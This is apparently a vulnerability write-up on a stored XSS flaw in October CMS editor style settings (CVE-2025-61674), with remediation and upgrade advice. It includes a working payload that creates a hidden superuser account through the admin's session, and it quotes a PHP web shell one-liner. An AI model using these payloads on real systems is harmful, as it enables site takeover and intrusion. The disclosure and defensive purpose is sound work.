Feb 22, 2026·6 min read·4 visits
Authenticated users with 'Global Editor Settings' permissions can inject malicious JavaScript into the backend stylesheet configuration. When an administrator views the settings or pages loading these styles, the script executes, leading to session takeover.
A classic Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Editor Settings' of October CMS. By failing to sanitize user-supplied CSS input, the application allows authenticated users with specific permissions to break out of the HTML style context and inject arbitrary JavaScript. This effectively turns a cosmetic customization feature into a weaponized entry point for privilege escalation and potential remote code execution via administrative session hijacking.
October CMS is a platform built by developers, for developers. It prides itself on being elegant and flexible. One of those flexible features is the Editor Settings area, specifically the ability to define Markup Styles. This sounds innocent enough: give your content editors a way to customize the look and feel of the backend editor with some custom CSS.
But here is the thing about 'Custom CSS' features: developers often treat them with a lower threat profile than standard HTML inputs. They think, "It's just style tags; worst case scenario, they make the background neon pink and the font Comic Sans." That is a naive assumption.
CVE-2025-61674 is a reminder that data is just data until the browser interprets it. In this case, the custom_styles field wasn't just accepting CSS; it was accepting a jailbreak key for the HTML context. It’s a classic case of trusting the 'Editor' role too much, assuming that anyone with permission to change font sizes wouldn't try to burn the server down.
To understand this vulnerability, you have to look at how browsers parse HTML. When the rendering engine encounters a <style> tag, it switches into 'CSS Mode'. In this mode, characters like < and > generally don't trigger HTML tag parsing—unless they form the specific sequence </style>.
The vulnerability in October CMS is a Context Breakout. The application takes the user input from the database and echoes it directly inside a <style> block in the backend layout.
<!-- How the developer expected it to work -->
<style>
/* User Input */
.editor-class { color: red; }
</style>The flaw is that the application does not sanitize or escape the closing tag sequence. If an attacker inputs </style>, the browser says, "Okay, CSS time is over, back to HTML mode." Anything following that sequence is treated as raw HTML.
<!-- How the exploit works -->
<style>
/* User Input Start */
body { display: none; }
</style> <!-- Context Closed! -->
<script>alert('I own you now');</script> <!-- Executed! -->
<style> /* Re-opening to hide the mess */
</style>This is CWE-79 in its purest form: Improper Neutralization of Input During Web Page Generation. The developer locked the front door (auth) but left the window (input sanitization) wide open.
While the exact commit diffs are often obscured in corporate advisories, the logic flow described in the analysis of modules/backend/models/EditorSettings.php paints a clear picture. The vulnerable code likely looked something like this—fetching the setting and dumping it into the view.
In the backend layout (e.g., _head.php), the code blindly trusts the output:
// Backend Layout Partial
<style>
<?= EditorSettings::get('html_style_image_class') ?>
<?= EditorSettings::get('html_style_link_class') ?>
/* The fatal flaw: Outputting raw user input */
<?= EditorSettings::get('styles') ?>
</style>To patch this, you don't necessarily need a complex HTML purifier, because we do want CSS. We just don't want the end of CSS. A robust fix involves checking for and neutralizing the </style> tag or strictly validating the input against a CSS grammar.
// The Remediation Approach
$styles = EditorSettings::get('styles');
// Simple neutralization: Escape the closing tag
$safeStyles = str_replace('</style>', '\u003C/style\u003E', $styles);
echo "<style>" . $safeStyles . "</style>";By invalidating the tag sequence </style>, the browser never leaves the CSS parsing context, rendering the attacker's payload harmless (albeit syntactically invalid CSS).
Let's walk through a realistic attack scenario. We assume the attacker has compromised a lower-tier account that possesses the Global Editor Settings permission, or perhaps a rogue employee wants to escalate their privileges.
The attacker logs into the backend and navigates to Settings -> Editor Settings -> Markup Styles. This is the injection point.
We don't just want an alert(1); we want persistence. The attacker crafts a payload that closes the style tag and opens a script. This script will attempt to create a new Super Administrator user in the background using an XHR request (AJAX) whenever a victim visits the page.
</style>
<script>
// Fetch the CSRF token from the meta tag
const token = document.querySelector('meta[name="csrf-token"]').content;
// Silently create a new admin user
fetch('/backend/backend/users/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': token
},
body: JSON.stringify({
'login': 'backdoor_admin',
'password': 'Password123!',
'email': 'hacker@example.com',
'permissions': { 'superuser': 1 }
})
});
</script>
<style>The attacker saves the settings. The database now holds the landmine.
The moment a Super Administrator logs in and navigates to any page that loads these editor settings (which could be the dashboard or the editor itself), the payload executes in their session context. The script runs with their cookies, effectively performing actions as them. The attacker now has a full Super Admin account waiting for them.
You might look at the CVSS score of 6.1 (Medium) and shrug. "It requires high privileges to exploit," you say. "It requires user interaction." Do not be fooled by the score. In the context of a CMS, this is a critical weakness.
> [!WARNING] > Privilege Escalation is the Endgame. > In a CMS environment, Stored XSS is often synonymous with Remote Code Execution (RCE).
If an attacker can execute JavaScript in the context of a Super Admin, they can often:
<?php system($_GET['cmd']); ?>).The requirement for Global Editor Settings permission limits the attack surface, but it breaks the principle of least privilege. A user who is supposed to manage font sizes should not be able to take over the server.
If you are running October CMS versions below 3.7.13 or between 4.0.0 and 4.0.12, you are sitting on a ticking time bomb. The remediation is straightforward.
Run the update command immediately:
php artisan october:updateIf you cannot update immediately (why not?), you can implement WAF rules to block POST requests containing </style> or <script> sent to the backend/system/settings endpoint. However, regex-based WAFs are often bypassable. The only true fix is the code patch.
Verify your system_settings table in the database. If you see HTML tags in columns related to editor styles, you may have already been compromised. Flush the table and rotate all administrative session tokens.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
October CMS October CMS | < 3.7.13 | 3.7.13 |
October CMS October CMS | >= 4.0.0, < 4.0.12 | 4.0.12 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 6.1 (Medium) |
| Privileges Required | High (Editor Settings) |
| EPSS Score | 0.04% |
| Exploit Status | PoC Available |